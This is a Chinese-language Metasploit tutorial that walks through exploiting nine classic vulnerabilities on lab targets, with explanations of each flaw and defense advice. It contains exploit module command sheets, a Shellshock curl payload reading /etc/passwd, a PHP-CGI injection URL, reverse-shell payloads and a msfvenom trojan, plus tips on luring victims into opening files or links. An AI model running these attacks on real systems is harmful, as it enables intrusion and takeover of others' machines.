Metasploit 漏洞利用超详细入门


一、MSF 是什么?一句话讲明白

Metasploit 就是一个漏洞框架。你可以把它想象成一把"万能钥匙",里面装了各种开锁工具(漏洞利用模块)。遇到什么锁(漏洞),你就掏出对应的钥匙(模块),拧几下(配置参数),门就开了(拿到权限)。

它的全称是 The Metasploit Framework,简称 MSF。在 Kali Linux 里,它是预装的,标准安装目录在:

复制代码
/usr/share/metasploit-framework/

这个目录下最核心的就是 modules 文件夹,里面分门别类地放着各种漏洞利用模块。


二、MSF 基本命令:新手必背的 10 个命令

玩 MSF 其实很简单,就那几个命令翻来覆去地用。下面我给你列了最常用的,背下来就行:

1. msfconsole --- 启动 MSF

这是进入 MSF 控制台的命令,相当于"开机"。直接终端里输入:

复制代码
msfconsole

等一会儿就进入 MSF 的命令行界面了。

2. ? --- 查看帮助

不知道干啥的时候,输入 ? 就能看到所有命令列表。想查某个具体命令怎么用,比如 search,就输入:

复制代码
? search

这是最常用的命令之一。比如你想找 ms08-067 这个漏洞的模块,就搜:

复制代码
search ms08-067

它会列出所有相关的模块,你挑一个用就行。

4. use --- 使用(加载)某个模块

找到想用的模块后,用 use 加载它。比如:

复制代码
use exploit/windows/smb/ms08_067_netapi

加载完之后,你的命令提示符会变成模块的名字,告诉你现在在哪个模块下面。

5. back --- 返回上一级

在模块里待腻了,想回去,就输入 back,跟你在文件系统里 cd .. 一个意思。

6. connect --- 连接主机

这个命令可以让你直接连接到某个主机的某个端口,相当于一个简易的 telnet。比如连接百度的 80 端口:

复制代码
connect www.baidu.com 80

7. info --- 查看模块详细信息

想了解某个模块是干啥的、影响什么系统、需要设置什么参数,就用 info

复制代码
info exploit/windows/smb/ms08_067_netapi

8. show options --- 查看需要配置的参数

进入一个模块后,最关键的一步就是看要设置什么参数。输入:

复制代码
show options

它会列出所有参数,标着 yes 的是必须设置的,no 的是可选的。

9. set --- 设置参数

知道要设置什么了,就用 set 来配置。比如设置目标 IP:

复制代码
set RHOST 192.168.1.100

RHOST 就是 Remote Host(远程主机)的意思。

10. run / exploit --- 执行攻击

参数都设好了,就差最后一步了!输入 run 或者 exploit,攻击就开始了:

复制代码
run

或者:

复制代码
exploit

效果是一样的。

其他几个常用的

  • jobs --- 查看和管理后台运行的任务

  • sessions --- 查看已经拿到的会话(shell)

  • sessions -i 1 --- 进入第 1 个会话

  • quit / exit --- 退出 MSF


三、9 个经典漏洞实战:手把手教你用

光说不练假把式。下面咱们通过 9 个经典漏洞,来看看 MSF 到底怎么用。每个漏洞我都会给你:命令汇总 + 详细步骤 + 大白话原理。

⚠️ 注意:以下内容仅用于学习和合法的渗透测试,请不要用于未经授权的系统。


漏洞 1:MS08-067 --- 网络服务器攻击(经典中的经典)

环境 :靶机 WinXP SP3

一句话描述:通过 Windows 的 445 端口(SMB 服务)直接拿系统权限,当年大名鼎鼎的"震网"病毒都用过类似的漏洞。

命令汇总(速查表)
复制代码
msfconsole
search MS08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.244.7
run
shell
net user
net user test test /add
net user
net user test /del
详细步骤

第一阶段:启动 MSF,准备攻击

打开终端,输入 msfconsole,进入 MSF 控制台。

第二阶段:找漏洞模块,配置参数

  1. 搜索漏洞:search MS08-067

  2. 加载模块:use exploit/windows/smb/ms08_067_netapi

  3. 看需要设置啥:show options

  4. 设置目标 IP:set RHOST 192.168.0.8(把 IP 换成你靶机的 IP)

第三阶段:开打,拿权限

输入 run,等一会儿,如果成功了,你就会看到 meterpreter 的提示符。

然后输入 shell,就能拿到目标机器的命令行窗口了。

第四阶段:后渗透操作(用户管理)

拿到 shell 后,你就可以为所欲为了。比如:

  • net user --- 查看当前系统有哪些用户

  • net user test test /add --- 添加一个用户 test,密码也是 test

  • net user test /del --- 删除用户 test

原理:这个漏洞说白了就是Windows 的 SMB 服务在处理路径的时候太粗心了

你可以这么理解:Windows 的 445 端口有个"保安"(NetPathCanonicalize 函数),专门负责检查访问路径合不合法。但是这个保安干活不仔细,遇到 ..\ 这种相对路径的时候,没检查边界就直接处理了。

攻击者就利用这一点,构造一个特别长的恶意路径,把保安的"工作记录"(栈缓冲区)给撑爆了(缓冲区溢出),然后把保安的"下一步去哪"(返回地址)改成攻击者指定的地方。这样 CPU 就乖乖地去执行攻击者的代码了。

影响的系统:Windows 2000、XP、Server 2003 这些老系统,没打 2008 年 10 月的补丁(KB958644)。

怎么防御

  1. 打补丁 KB958644(最根本的办法)

  2. 关掉 445 端口,或者用防火墙限制 SMB 服务

  3. 监控网络流量,检测恶意的 SMB 请求


漏洞 2:MS10-018 --- 浏览器攻击(打开网页就中招)

环境 :靶机 WinXP SP3 + IE 浏览器

一句话描述:你做一个恶意网页,骗目标用 IE 打开,他一打开你就能拿到他电脑的权限。

命令汇总(速查表)
复制代码
msfconsole
search ms10-018
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST 192.168.244.4  # 填你自己(Kali)的 IP
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j
jobs
sessions
sessions -i 1
shell
详细步骤

第一阶段:启动 MSF

输入 msfconsole 进入控制台。

第二阶段:搜索并加载漏洞模块

  1. search ms10-018 --- 找模块

  2. use exploit/windows/browser/ms10_018_ie_behaviors --- 用这个模块

第三阶段:配置攻击参数

  1. show options --- 看看要设置啥

  2. set SRVHOST 192.168.11.111 --- 设置你自己的 IP(攻击机 IP)

  3. set PAYLOAD windows/meterpreter/bind_tcp --- 设置正向连接的 payload

  4. show options --- 再看看 payload 的选项

  5. set LPORT 4441 --- 改个端口号,方便识别

第四阶段:启动攻击服务

输入 run,MSF 会生成一个 URL 地址。你把这个 URL 通过社工(比如发邮件、发链接)骗目标用 IE 打开。

目标一访问,MSF 这边就会显示成功了。

第五阶段:查看会话,进去搞事情

  1. sessions --- 看看有哪些会话

  2. sessions -i 1 --- 进入第 1 个会话(-i 就是 enter 进去的意思)

  3. shell --- 拿到命令行,看看 IP 是不是目标机器

💡 小提示:如果你靶机里装了 OllyDbg(OD)这种调试器,IE 可能会弹出调试窗口导致攻击失败。把 OD 删掉就好了。

原理

这个漏洞出在 IE 浏览器里的一个叫 TDC(Tabular Data Control)的 ActiveX 控件上。

这个控件本来是用来加载表格数据(比如 CSV 文件)的,但是它在处理 URL 参数的时候,没检查长度。你给它一个特别长的 URL,它的缓冲区就被撑爆了(堆溢出)。

攻击流程大概是这样的:

  1. 你做一个恶意网页,里面嵌了一段 JavaScript

  2. 目标用 IE 打开这个网页,TDC 控件就被加载了

  3. 超长的 URL 参数把控件的内存搞坏了

  4. 攻击者趁机把 CPU 引到自己的恶意代码(Shellcode)上

  5. 目标的电脑就被控制了

影响的系统:IE 6/7/8 版本,Windows XP 这些老系统。

怎么防御

  1. 打补丁 KB980182(微软官方修复)

  2. 禁用 ActiveX 控件

  3. 开启 DEP(数据执行保护)和 ASLR(地址空间随机化)

  4. 升级到新版本的浏览器


漏洞 3:MS10-087 --- 用 Word 文档搞事情(文件格式漏洞)

环境 :靶机 WinXP SP3 + Word

一句话描述:你生成一个恶意的 Word 文档(RTF 格式),发给目标,他一打开就中招。

命令汇总(速查表)
复制代码
msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe
set FILENAME ceshi.rtf
run
详细步骤

第一阶段:加载文件型漏洞模块

  1. 进入 MSF:msfconsole

  2. 搜索模块:search ms10-087

  3. 使用模块:use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

第二阶段:配置攻击载荷

  1. 看需要设置啥:show options

  2. 改文件名:set FILENAME ceshi.rtf(生成的恶意文件叫啥)

  3. 设置 payload:这次我们不用交互式的 shell 了,换一个简单的,让它弹个计算器:

    复制代码
    set payload windows/exec
    set CMD calc.exe

第三阶段:生成恶意文件

输入 run,文件就生成了。生成的文件在 ~/.msf4/local/ 目录下(root 用户就是 /root/.msf4/local/)。

你把这个 ceshi.rtf 文件发给目标,他用 Word 一打开,计算器就弹出来了。(真实场景下可以把 calc.exe 换成更厉害的 payload)

原理

这个漏洞出在 Word 解析 RTF 文件的逻辑里

RTF 是一种富文本格式,里面有各种"控制字"(就像 HTML 标签一样)。其中有个叫 pnfragments 的控制字,Word 在处理它的时候,没检查属性字符串的长度

你可以这么理解:Word 给这个控制字的属性留了一个"小盒子"(固定大小的栈缓冲区),但是如果攻击者塞进去一个特别长的字符串,盒子就装不下了,溢出来的数据就把旁边的"返回地址"给覆盖了。CPU 本来应该回到原来的地方继续执行,结果被拐到了攻击者的恶意代码那里。

影响的系统

  • 操作系统:Windows XP SP3、Server 2003、Vista、7

  • Office 版本:Office 2003 SP3、2007 SP2、2010,还有 Mac 版 Office

真实案例:2010-2011 年的时候,这个漏洞被大量用于挂马攻击,全球超过 50% 的挂马网站都在用它传播木马。

怎么防御

  1. 打补丁 KB2423930

  2. 禁用 RTF 解析功能

  3. 开启 DEP 和 Office 的受保护视图(Protected View)

  4. 邮件监控,检测异常的 RTF 文件


漏洞 4:CVE-2017-7494 --- Samba 漏洞入侵 Linux(Linux 版永恒之蓝)

环境 :靶机 Vulhub(一个漏洞练习平台)

一句话描述:Linux 上的 Samba 服务(就是 Windows 和 Linux 之间共享文件的服务)有个漏洞,能直接拿 root 权限。

命令汇总(速查表)
复制代码
# ===== 靶机上(Vulhub)用 root 执行 =====
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d

# ===== Kali 上执行 =====
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.244.6  # 靶机 IP
run
id
详细步骤

第一步:启动靶机环境

在 Vulhub 靶机上,切换到 root 用户,然后进入漏洞目录:

复制代码
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d

靶机就启动好了。用 ifconfig 看看靶机 IP 是多少,比如是 192.168.244.6。

第二步:Kali 上用 MSF 攻击

  1. 启动 MSF:msfconsole

  2. 使用模块:use exploit/linux/samba/is_known_pipename

  3. 设置目标 IP:set RHOSTS 192.168.244.6

  4. 开打:run

成功之后,输入 id 看看,应该就是 root 权限了。

原理

这个漏洞叫 "SambaCry",被称为Linux 版的永恒之蓝

漏洞的核心是 Samba 在处理"命名管道"(Named Pipe)的时候,路径验证有问题

你可以这么理解:

  • Samba 有个保安(is_known_pipename 函数),负责检查客户端请求的管道名字合不合法

  • 但是这个保安太蠢了,你给它一个带 / 的路径(比如 /home/attacker/malicious.so),它居然把这个当成了服务器上的绝对路径

  • 攻击者先通过可写的共享目录,上传一个恶意的 .so 文件(Linux 的动态库,就相当于 Windows 的 DLL)

  • 然后让 Samba 去加载这个恶意 .so 文件

  • Samba 是以 root 权限运行的,所以加载恶意库的时候,恶意代码也就有了 root 权限

攻击前提

  1. 目标有一个可写的 Samba 共享目录(匿名可写或者有弱口令)

  2. Samba 版本在 3.5.0 到 4.6.4/4.5.10/4.4.14 之间

怎么防御

  1. 升级 Samba 到 4.6.4 以上版本

  2. 在 smb.conf 里加上 nt pipe support = no,禁用命名管道

  3. 共享目录设为只读,不让上传文件

  4. 防火墙限制 445 端口的访问

  5. 不要用 root 运行 Samba 服务


漏洞 5:CVE-2014-6271 --- Bash Shellshock(破壳漏洞)

环境 :靶机 Vulhub

一句话描述:Bash(Linux 的命令行解释器)有个致命漏洞,通过 HTTP 请求头就能远程执行命令,当年轰动全球。

命令汇总(速查表)
复制代码
# ===== 靶机上(Vulhub)用 root 执行 =====
docker-compose down
cd /home/enjoy/vulhub-master/bash/shellshock
docker-compose build
docker-compose up -d
docker-compose config
# 启动后访问 http://your-ip:8080/victim.cgi

# ===== Kali 上执行 =====
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.244.6  # 靶机 IP
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id

💡 小知识:www-data 是 Linux/Unix 系统专门用来跑 Web 服务(比如 Apache、Nginx)的用户,破壳漏洞拿到的默认权限就是它。

原理

Shellshock(破壳漏洞)是 2014 年爆出的一个超级大漏洞,CVSS 评分 10.0(最高危),影响全球数亿台设备。

漏洞是怎么回事呢?

Bash 有个功能:可以把函数定义通过环境变量导出(export -f)。比如:

复制代码
func() { echo "Hello"; }
export -f func

这样子进程也能用到这个函数。

但是问题来了:Bash 在解析这种环境变量的时候,没检查函数定义的边界

攻击者构造一个这样的环境变量:

复制代码
VAR=() { :; }; echo Vulnerable
  • () { :; } --- 这是一个合法的空函数定义

  • echo Vulnerable --- 这是注入的恶意命令

Bash 解析的时候,傻呵呵地把后面的 echo Vulnerable 也当成了函数定义的一部分,直接就执行了!

这就像 SQL 注入一样,代码和数据混在一起了。

远程怎么利用呢?

漏洞本身不能直接远程触发,得借助第三方服务。最常见的就是 Apache + CGI:

  1. 攻击者发一个 HTTP 请求,把恶意代码放在请求头里(比如 User-Agent、Cookie)

  2. Apache 收到请求,把请求头放进环境变量里,然后调用 Bash 执行 CGI 脚本

  3. Bash 解析环境变量的时候,恶意代码就被执行了

比如用 curl 可以这样测试:

复制代码
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" http://victim/cgi-bin/test.cgi

影响的系统:所有用 Bash 1.14 到 4.3 版本的 Linux/Unix 系统,包括各种服务器、嵌入式设备(路由器)、Docker 镜像。

怎么防御

  1. 升级 Bash 到 4.3-013 以上版本

  2. Web 服务器配置过滤规则,拦截包含 () { 的请求头

  3. 用非特权用户运行 Web 服务

  4. 用 Alpine Linux 这种不依赖 Bash 的轻量系统


漏洞 6:CVE-2012-1823 --- PHP CGI 漏洞

环境 :靶机 Vulhub

一句话描述:PHP 的 CGI 模式下,URL 里的查询字符串被当成了命令行参数,导致远程代码执行。

命令汇总(速查表)
复制代码
# ===== 靶机上(Vulhub)用 root 执行 =====
docker-compose down
cd /home/enjoy/vulhub-master/php/CVE-2012-1823
docker-compose build
docker-compose up -d
docker-compose config
# 启动后访问 http://your-ip:8080/ 看到"Hello"
# 访问 http://your-ip:8080/index.php?-s 能看到源码,说明有漏洞

# ===== Kali 上执行 =====
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.244.6  # 靶机 IP
set RPORT 8080
run
shell
id
原理

PHP 有好几种运行模式:CLI(命令行)、CGI、FastCGI、Apache 模块(mod_php)。

漏洞出在 CGI 模式下。

按照 CGI 协议(RFC 3875)的规定,HTTP 请求的查询字符串(就是 ? 后面的东西)应该作为 QUERY_STRING 环境变量传给 PHP,而不应该直接当成命令行参数。

但是 PHP 早期版本为了方便开发测试,允许通过查询字符串传递命令行参数 (比如 -d-s)。这就出问题了!

攻击者可以在 URL 里构造以 - 开头的参数,PHP-CGI 傻乎乎地把这些当成了命令行选项:

  • -s --- 显示页面源码(信息泄露)

  • -d --- 修改 PHP 配置项(最危险!)

  • -i --- 显示 PHP 环境信息

最经典的利用方式是这样的:

复制代码
http://target/cgi.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input

什么意思呢?

  • -d allow_url_include=on --- 打开"包含远程文件"的开关

  • -d auto_prepend_file=php://input --- 让 PHP 在执行脚本前,先加载 php://input(也就是 POST 请求体)

然后攻击者用 POST 请求把恶意代码(比如 <?php system("id"); ?>)发过去,PHP 就乖乖执行了。

影响的版本:PHP 5.0.0 到 5.3.11,以及 5.4.0 到 5.4.1。

怎么防御

  1. 升级 PHP 到 5.3.12/5.4.2 以上

  2. 别用 PHP-CGI 模式,改用 PHP-FPM(FastCGI)或者 mod_php

  3. Web 服务器配置过滤规则,拦截包含 -d-s 等参数的请求

  4. 用非特权用户运行 PHP


漏洞 7:CVE-2004-2678 --- Distcc 后门漏洞

环境 :靶场 Metasploitable2-Linux(用户名/密码:msfadmin/msfadmin)

一句话描述:分布式编译工具 Distcc 配置不当,任何人都能连上去执行命令。

命令汇总(速查表)
复制代码
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.244.8    # 靶机 IP
set lhost 192.168.244.4    # 你自己(Kali)的 IP
exploit
id
原理

Distcc 是谷歌开源的一个分布式编译工具。干啥用的呢?比如你要编译 Linux 内核,代码特别大,一台机器编译要很久。用 Distcc 就可以把编译任务分到好几台服务器上并行编译,速度就快多了。

它默认监听 3632 端口。

漏洞在哪呢?

早期的 Distcc 版本(2.x 系列)默认配置不限制客户端 IP,谁都能连到 3632 端口。而且 distccd 服务通常是以高权限用户(甚至 root)运行的。

Distcc 本来是接收客户端发来的编译指令(比如 gcc 命令),然后去编译代码。但是它对客户端发来的指令完全信任,不做任何验证

那攻击者就开心了:我发的不是编译指令,而是系统命令行不行?

当然可以!直接就执行了。

攻击步骤

  1. 用 nmap 扫目标网络的 3632 端口,看看哪些机器开了 Distcc

  2. 用 MSF 的 exploit/unix/misc/distcc_exec 模块

  3. 设置目标 IP 和自己的 IP

  4. 执行 exploit,直接拿 shell

影响的版本:Distcc 2.x 系列,还有 Xcode 1.5 里集成的 Distcc。

怎么防御

  1. 升级到 Distcc 3.0 以上

  2. 配置文件里限制允许连接的客户端 IP(--allow 192.168.1.0/24

  3. 用非特权用户运行 distccd

  4. 防火墙关掉 3632 端口,或者只对内网开放

  5. 监控 3632 端口的异常流量


漏洞 8:MS17-010 --- 永恒之蓝(最著名的勒索病毒漏洞)

环境 :靶场 Win7

一句话描述:SMB 协议的内核级漏洞,不需要用户交互,扫到 445 端口开着就能打。WannaCry 勒索病毒就是用的这个漏洞。

命令汇总(速查表)
复制代码
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/bind_tcp
set rhosts 192.168.209.129
set LHOST 0.0.0.0
run
net user test test /add
net localgroup administrators test /add
net user
net user test /del
详细步骤

第一阶段:启动 MSF

输入 msfconsole 进入控制台。

第二阶段:选择攻击脚本

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/bind_tcp
set rhosts 192.168.209.129  # 靶机 IP
set LHOST 0.0.0.0
run

成功之后就拿到 shell 了,你可以添加用户、加到管理员组等等。

原理

永恒之蓝(EternalBlue)是 2017 年泄露的一个超级漏洞,来头可不小------它是美国国家安全局(NSA)开发的黑客工具,后来被黑客组织"影子经纪人"(Shadow Brokers)泄露了。

这个漏洞有多厉害?

  • CVSS 评分 10.0(满分)

  • 不需要用户交互 ------ 只要你开着 445 端口,连上网,就能被打

  • 内核级权限 ------ 直接以内核模式执行代码,什么防护都能绕过

  • 蠕虫式传播 ------ 感染一台后自动扫描内网其他机器,迅速扩散

漏洞原理是什么呢?

漏洞出在 Windows 的 SMB 协议(文件共享协议,445 端口)处理 FEALIST(文件扩展属性列表) 的逻辑里。

简单说就是:SMB 协议有个函数叫 SrvOs2FeaListSizeToNt,负责把一种格式的 FEALIST 转换成另一种格式。但是这个函数在计算需要多大内存的时候,算错了,导致堆缓冲区溢出。

而且这个漏洞有 7 个小缺陷组合在一起(NSA 出品,必属"精品"):

  1. 缓冲区没初始化,攻击者可以写任意数据

  2. 某个子命令的长度检查失效,可以发超长参数

  3. 响应数据长度越界

  4. 时序漏洞,可以干扰内存状态

  5. 数据包类型混淆

  6. 扩展属性类型分配错误

  7. 内核态和用户态没隔离好

攻击流程大概是这样的

  1. 攻击者发很多 SMB 请求,在目标内存里"占位置"(Grooming 技术)

  2. 发一个带恶意 FEALIST 的请求,触发溢出

  3. 溢出的数据覆盖了关键的内存指针

  4. 攻击者通过这个指针把恶意代码写到内核里

  5. 利用 Windows 的 APC 机制,让恶意代码在内核里执行

  6. 完事了,系统就是你的了

真实案例

  • WannaCry(想哭勒索病毒):2017 年席卷全球,感染了 20 多万台设备,医院、交通系统都瘫痪了

  • NotPetya:伪装成勒索软件,实际上是搞破坏的,针对乌克兰基础设施

  • 各种挖矿蠕虫:比如 Adylkuzz,偷偷用别人的电脑挖门罗币

影响的系统

  • Windows XP、Vista、7、8、10(2017 年 3 月前的版本)

  • Windows Server 2003、2008、2008 R2、2012

怎么防御

  1. 打补丁!打补丁!打补丁! ------ 安装 KB4013389(最重要的事情说三遍)

  2. 关闭 SMBv1 协议(用 PowerShell:Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

  3. 防火墙阻断 445 端口的入站访问

  4. 开启 SMB 签名,防止中间人攻击

  5. 开启 HVCI(基于虚拟化的安全)和 CFG(控制流防护)


漏洞 9:用 MSF 制作木马,远程控制电脑

环境 :靶场 Win7

一句话描述:用 msfvenom 生成一个木马程序,骗目标运行,然后你就能远程控制他的电脑了。

命令汇总(速查表)
复制代码
# ===== 第一步:制作木马 =====
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe > hello.exe

# ===== 第二步:创建监听(在 MSF 里)=====
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7788
exploit -j

# ===== 第三步:目标运行木马后,你就能控制了 =====
screenshot      # 截屏
ipconfig        # 查看 IP
shell           # 拿命令行
run vnc         # 远程桌面控制
详细步骤

第一阶段:制作病毒(木马)

msfvenom 是 MSF 自带的一个工具,是 msfpayloadmsfencode 的结合体,专门用来生成木马程序。

打开终端,输入:

复制代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe > hello.exe

解释一下参数:

  • -p windows/meterpreter/reverse_tcp --- payload 用反向 TCP 连接的 meterpreter

  • lhost=192.168.209.128 --- 你的 IP(Kali 的 IP),木马里硬编码了这个地址,目标运行后会回连到你这

  • lport=7788 --- 你的监听端口

  • -f exe --- 输出格式是 exe 可执行文件

  • > hello.exe --- 保存成 hello.exe

执行完就生成了一个 hello.exe 木马文件。

第二阶段:创建监听

木马生成了,目标运行后会连你,那你得先"等着"才行。

进入 MSF:

复制代码
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7788
exploit -j

exploit -j 的意思是在后台运行监听任务。

第三阶段:目标运行木马,开始控制

hello.exe 发给目标,他一运行,你这边就会收到会话。

然后你就能为所欲为了:

  • screenshot --- 截个屏看看目标在干啥

  • ipconfig --- 看看目标的网络配置

  • shell --- 拿命令行

  • run vnc --- 远程桌面控制,就像坐在目标电脑前一样

原理

这个原理其实很简单,就是反向连接木马的思路:

  1. 你(攻击者)在自己电脑上开个端口,等着别人连过来(监听)

  2. 木马程序里写死了你的 IP 和端口

  3. 目标运行木马后,木马主动来连你

  4. 连接建立后,你就可以给木下发命令,木马在目标电脑上执行

为什么叫"反向"连接呢?因为通常是客户端连服务器,但这里是目标(被攻击者)主动连攻击者,方向反了。

这么做的好处是:目标电脑的防火墙一般不会拦出站连接(往外连的),所以很容易成功。

再次提醒:以上内容仅供学习,请不要用于非法用途!


四、总结一下

好了,9 个漏洞讲完了,咱们来回顾一下:

漏洞编号 类型 一句话 端口/方式
MS08-067 Windows SMB 漏洞 经典老漏洞,445 端口直接拿权限 445 端口
MS10-018 浏览器漏洞 IE 的 ActiveX 控件溢出,开网页就中招 HTTP + 社工
MS10-087 文件格式漏洞 Word 解析 RTF 溢出,打开文档就中招 邮件/文件 + 社工
CVE-2017-7494 Linux Samba 漏洞 Linux 版永恒之蓝,Samba 服务漏洞 445 端口
CVE-2014-6271 Bash 破壳漏洞 Bash 环境变量注入,通过 HTTP 头远程执行 HTTP/CGI
CVE-2012-1823 PHP CGI 漏洞 PHP-CGI 参数注入,URL 里就能传命令 HTTP
CVE-2004-2678 Distcc 漏洞 分布式编译工具配置不当,直接命令执行 3632 端口
MS17-010 永恒之蓝 内核级 SMB 漏洞,蠕虫式传播 445 端口
msfvenom 木马制作 生成木马程序,反向连接控制 社工 + 反向连接

几个共同点

  1. 大部分漏洞都是缓冲区溢出 或者输入验证不严导致的

  2. 打补丁是最根本的防御方法

  3. 权限最小化、防火墙、入侵检测这些纵深防御措施也很重要

  4. 社工(社会工程学)往往是突破口,技术再好也架不住人点了可疑链接

学习建议

  1. 先把 MSF 的基本命令练熟

  2. 每个漏洞都亲手复现一遍(用靶场,别搞事)

  3. 理解原理比死记命令重要

  4. 多关注安全资讯,了解最新的漏洞和防护技术

好了,今天的内容就到这里。安全路漫漫,咱们一起学习进步!